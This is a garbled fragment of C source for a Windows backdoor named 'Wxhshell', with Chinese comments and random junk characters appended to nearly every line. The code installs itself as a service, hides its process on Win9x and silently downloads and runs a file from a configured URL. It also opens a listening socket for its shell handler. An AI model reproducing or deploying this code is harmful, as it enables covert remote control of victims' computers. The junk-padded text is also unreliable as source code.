PROCNTQSIP NtQueryInformationProcess; %R P\,|
dy4~~~^A
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^00C"58A
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =>L2~>[
UN|S!&C$
HANDLE hProcess;
xM$AhH
PROCESS_BASIC_INFORMATION pbi; gwDVWhq
!M}ZK(
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eC`G0.op
if(NULL == hInst ) return 0; k,61Va
6*:U1{Gl)
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Pr3>}4M
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OlM3G^1e1
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p8MN>pLP%
9\>{1"a
if (!NtQueryInformationProcess) return 0; Sb^o`~ Eh
^1bM=9]F0
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XA\wZV
|{
if(!hProcess) return 0; ?u>A2Vc!
%*OQH?pyx}
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0zE(:K
Z6#(83G4
CloseHandle(hProcess); ~^l;~&
Q+*@!s
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KebC$g@W
if(hProcess==NULL) return 0; A'n{K#
WNSEc%
HMODULE hMod; J7wIA3.O
char procName[255]; o,'Fz?[T%
unsigned long cbNeeded; MH=Ld=i
p. KT=dZT
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g/gaPc*86
lT_dzO
CloseHandle(hProcess); .9q`Tf
zT ")!Df>'
if(strstr(procName,"services")) return 1; // 以服务启动 VBz
G`&NG
PV-B<Y
return 0; // 注册表启动 6S^JmYq
} :XB^IyO-A
aX?
tnDv
// 主模块 W8M(@*
T
int StartWxhshell(LPSTR lpCmdLine) Z<#h$XUA
{ Lc0=5]D
SOCKET wsl; ;Qidf}:
BOOL val=TRUE; =lL)g"xX
int port=0; Tr,
zV
struct sockaddr_in door; 3[<D"0#},
pzb`M'Z?C
if(wscfg.ws_autoins) Install(); aVp-Ps|r
ZUS06#t}
port=atoi(lpCmdLine); j-wKm_M#jX
rW+}3] !D/
if(port<=0) port=wscfg.ws_port; + aWcK6
Li9>RY+3
WSADATA data; ;<#=|eD2
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0a:@DOzT
Wm/0Pi
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; j+Q+.39s-~
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XQZiJ
%'
door.sin_family = AF_INET; c|X}[
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q}#xfrprF
door.sin_port = htons(port); y<PQ$D)
zA|)9Dq
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6
2t9SY
closesocket(wsl); gSkY c{b
return 1; wI?AZd;`'
} :VE0eJ]J6
);{76
if(listen(wsl,2) == INVALID_SOCKET) { ;#=y5Q4
closesocket(wsl); '`j MNKn\
return 1; OV`li#H
} J:G{
Wxhshell(wsl); cyB2=,
WSACleanup(); BzTzIo5
@>`qfy?
return 0; fYlqaO4[
+@~e9ZG%a
} S2EV[K8#
o0TB>DX$`
// 以NT服务方式启动 0@RVM|
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $Km~x
{ x M{SFF
DWORD status = 0; 7{38g
DWORD specificError = 0xfffffff; iyr<qtwK
U "v=XK)!
serviceStatus.dwServiceType = SERVICE_WIN32; M|7][!<G!
serviceStatus.dwCurrentState = SERVICE_START_PENDING; U5[r&Y
D
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; py6O\` \
serviceStatus.dwWin32ExitCode = 0; gps.
serviceStatus.dwServiceSpecificExitCode = 0; # ELYPp]6
serviceStatus.dwCheckPoint = 0; %-
Ga^[
serviceStatus.dwWaitHint = 0; _O&P!hI
hHgH'
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rVwW%&
if (hServiceStatusHandle==0) return; G6s3\de#U
a\KM^jrCD
status = GetLastError(); #JR$RH
if (status!=NO_ERROR) `bWc<4T
{ [X kWPx`
serviceStatus.dwCurrentState = SERVICE_STOPPED; B?ipo,2~{
serviceStatus.dwCheckPoint = 0; Nzb=h/;
serviceStatus.dwWaitHint = 0; k0D):
serviceStatus.dwWin32ExitCode = status; B.~[m}
serviceStatus.dwServiceSpecificExitCode = specificError; le6eorK8
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0Z{u;FI
return; DPfN*a-P(
} ,nJCqX~/G
EjP)e;
serviceStatus.dwCurrentState = SERVICE_RUNNING; .2y @@g
serviceStatus.dwCheckPoint = 0; 9H2mA$2jnE
serviceStatus.dwWaitHint = 0; E,QD6<?[
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AR c
} %!R\-Vej
% -.V6}V
// 处理NT服务事件,比如:启动、停止 f7Gs1{
VOID WINAPI NTServiceHandler(DWORD fdwControl) 57EL&V%j
{ X$eR RSW
switch(fdwControl) uM9Gj@_
{ [K1z/ea)V
case SERVICE_CONTROL_STOP: /as+ TU`A
serviceStatus.dwWin32ExitCode = 0; rd,!-w5
serviceStatus.dwCurrentState = SERVICE_STOPPED; )"%J~:`h}
serviceStatus.dwCheckPoint = 0; **c"}S6:mC
serviceStatus.dwWaitHint = 0; dJ~Occ 1~r
{ :wfN+g=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4wx{i6
} NKRm#
return; >AWWwq -
case SERVICE_CONTROL_PAUSE: D8`SI21P
serviceStatus.dwCurrentState = SERVICE_PAUSED; Nj +^;Y
break; DIgur}q)@
case SERVICE_CONTROL_CONTINUE: A(z
m
serviceStatus.dwCurrentState = SERVICE_RUNNING; QiaBZAol
break; ktM7L{Nz
case SERVICE_CONTROL_INTERROGATE: tUGF8?&
G
break; J\Tu=f)
}; vnqLcNB H
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3bHB$n
} (W#^-*$R
rpEN\S%7P
// 标准应用程序主函数 E9]*!^=/
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PR%n>a#
{ 3!8 u
$5DlCN
// 获取操作系统版本
9&s>RJ
OsIsNt=GetOsVer(); J2k4k
GetModuleFileName(NULL,ExeFile,MAX_PATH); 28j/K=0(
=+H,}
// 从命令行安装 QFFFxaeJg
if(strpbrk(lpCmdLine,"iI")) Install(); ^ZFK:|Ju
f,Am;:\ |
// 下载执行文件 s<5P sR
if(wscfg.ws_downexe) { ViU5l*n;
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <:!:7
WinExec(wscfg.ws_filenam,SW_HIDE); PmtXD6p3(
} Lc(eY{CY
yoM^6o^,D
if(!OsIsNt) { M3eFG@,
// 如果时win9x,隐藏进程并且设置为注册表启动 /$9We8
HideProc(); (UZ].+)s
StartWxhshell(lpCmdLine); Sx1OY0)s
} EIF
else \/-4 jF:
if(StartFromService()) *]c~[&x5&
// 以服务方式启动 NMzq10M=6
StartServiceCtrlDispatcher(DispatchTable); ssl.Y!
else :.(A,
// 普通方式启动 Z7k ku:9
StartWxhshell(lpCmdLine); r-a0XNS*
{9{PU&?(
return 0; t(}g;O-
}